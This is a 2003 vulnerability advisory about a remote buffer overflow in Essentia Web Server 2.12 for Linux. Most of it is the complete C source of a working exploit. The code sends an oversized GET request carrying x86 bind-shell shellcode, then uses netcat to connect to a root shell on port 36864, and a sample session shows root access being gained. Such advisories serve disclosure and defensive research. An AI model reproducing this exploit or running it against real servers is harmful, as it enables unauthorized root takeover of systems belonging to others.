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Title: Buffer Overflow in Linux Essentia Webserver.
Author: By B-r00t <[EMAIL PROTECTED]
Date: 04/07/2003
Reference: http://www.essencomp.com/
Versions: Essentia Web Server 2.12 (Linux) => VULNERABLE
Related Info: http://www.securityfocus.com/bid/4159/info/
Exploit: [attached] essenexploit.c
The same buffer overflow condition discovered in the Essentia webserver
for Windows (http://www.securityfocus.com/bid/4159/info/) has been found
to affect Essentia Web Server for Linux.
Due to the service running as root (to bind to port 80), remote exploitation
results in an attacker gaining system administration 'root' access.
POC code essenexploit.c is attached.
- --
B#.
- ----------------------------------------------------
Email : B-r00t <[EMAIL PROTECTED]>
Key fingerprint = 74F0 6A06 3E57 083A 4C9B
ED33 AD56 9E97 7101 5462
"You Would Be Paranoid If They Were Watching You !!!"
- -----------------------------------------------------
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Title: Remote Buffer Overflow in Essentia Webserver.
Author: By B-r00t <[EMAIL PROTECTED]
Date: 04/07/2003
Reference: http://www.essencomp.com/
Versions: Essentia Web Server 2.12 (Linux) => VULNERABLE
Related Info: http://www.securityfocus.com/bid/4159/info/
Exploit: essenexploit.c
Compile: gcc -o essenexploit essenexploit.c
Exploit binds a r00tshell to port 36864.
Tested on Redhat 7.2 & 7.1
THIS CODE IS FOR EDUCATIONAL PURPOSES ONLY!
$ telnet 0 80
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 04 Jul 2003 11:19:39 GMT
Server: Essentia Web Server 2.12 (Linux)
Accept-Ranges: bytes
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 757
ETag: "f104b5-5f2-0b7940f3"
Last-Modified: Thu, 03 Jul 2003 20:53:04 GMT
Connection closed by foreign host.
$ ./essenexploit 127.0.0.1
essenexploit by B-r00t <[EMAIL PROTECTED]>. (c) 2003
Number of bytes sent: 2057 / 2057
Using netcat 'nc' to get the r00tshell on port 36864 ....!!!!!
localhost.localdomain [127.0.0.1] 36864 (?) open
uname -a; id;
Linux RedHat7-2 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
ENJOY!
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#define EXPLOIT "essenexploit"
#define DEST_PORT 80
#define NOP "A"
int main ( int argc, char *argv[] )
{
// Vars
int socketfd, loop, bytes;
struct sockaddr_in dest_addr;
char *TARGET = "TARGET";
char buf[2100], *ptr;
// Big fat slide NOP so ret should be good everywhere!
char ret[] = "\xe8\xc5\xff\xbe\xe8\xc5\xff\xbe";
char shellcode[] =
"\xeb\x6e\x5e\x29\xc0\x89\x46\x10"
"\x40\x89\xc3\x89\x46\x0c\x40\x89"
"\x46\x08\x8d\x4e\x08\xb0\x66\xcd"
"\x80\x43\xc6\x46\x10\x10\x88\x46"
"\x08\x31\xc0\x31\xd2\x89\x46\x18"
"\xb0\x90\x66\x89\x46\x16\x8d\x4e"
"\x14\x89\x4e\x0c\x8d\x4e\x08\xb0"
"\x66\xcd\x80\x89\x5e\x0c\x43\x43"
"\xb0\x66\xcd\x80\x89\x56\x0c\x89"
"\x56\x10\xb0\x66\x43\xcd\x80\x86"
"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0"
"\x3f\x41\xcd\x80\xb0\x3f\x41\xcd"
"\x80\x88\x56\x07\x89\x76\x0c\x87"
"\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80"
"\xe8\x8d\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68";
printf ("\n%s by B-r00t <[EMAIL PROTECTED]>. (c) 2003\n", EXPLOIT);
if (argc < 2)
{
printf ("\nUsage: %s [IP_ADDRESS]", EXPLOIT);
printf ("\nExample: %s 10.0.0.1 \n", EXPLOIT);
printf ("\nOn success a r00tshell will be spawned on port 36864.\n\n");
exit (-1);
}
setenv (TARGET, argv[1], 1);
// Build buf
memset (buf, '\0', sizeof (buf));
ptr = buf;
strcat (buf, "GET /");
for (loop = 1; loop < 2033-sizeof(shellcode); loop++)
strcat (buf, NOP);
strcat (buf, shellcode);
strcat (buf, ret);
strcat (buf, " HTTP/1.0");
strcat (buf, "\x0D\x0A\x0D\x0A");
// Socket
if ((socketfd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("\nsocket error\n");
exit (1);
}
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(DEST_PORT);
if (! inet_aton(argv[1], &(dest_addr.sin_addr))) {
perror("inet_aton problems");
exit (2);
}
memset( &(dest_addr.sin_zero), '\0', 8);
if (connect (socketfd, (struct sockaddr *)&dest_addr, sizeof (struct sockaddr)) == -1){
perror("\nconnect failed\n");
close (socketfd);
exit (3);
}
// Wallop!
bytes = (send (socketfd, ptr, strlen(buf), 0));
if (bytes == -1) {
perror("\nsend error\n");
close (socketfd);
exit(4);
}
close (socketfd);
if (bytes < strlen(buf))
printf ("\nNetwork Error - Full Payload Was NOT sent!");
printf ("\n\nNumber of bytes sent: %d / %d\n", bytes, strlen(buf));
printf ("\nUsing netcat 'nc' to get the r00tshell on port 36864 ...!\n");
sleep (3);
system("nc -vv ${TARGET} 36864 || echo 'Sorry Exploit failed!'");
exit (0);
} // end main
/*
Shoutz: Marshal-l, Rux0r, blunt, macavity, Monkfish
Rewd, Maz. That One Doris ... U-Know-Who-U-R!
The doris.scriptkiddie.net posse.
Author: B-r00t aka B#. 2003. <[EMAIL PROTECTED]> (c)
"If You Can't B-r00t Then Just B#."
ENJOY!
*/
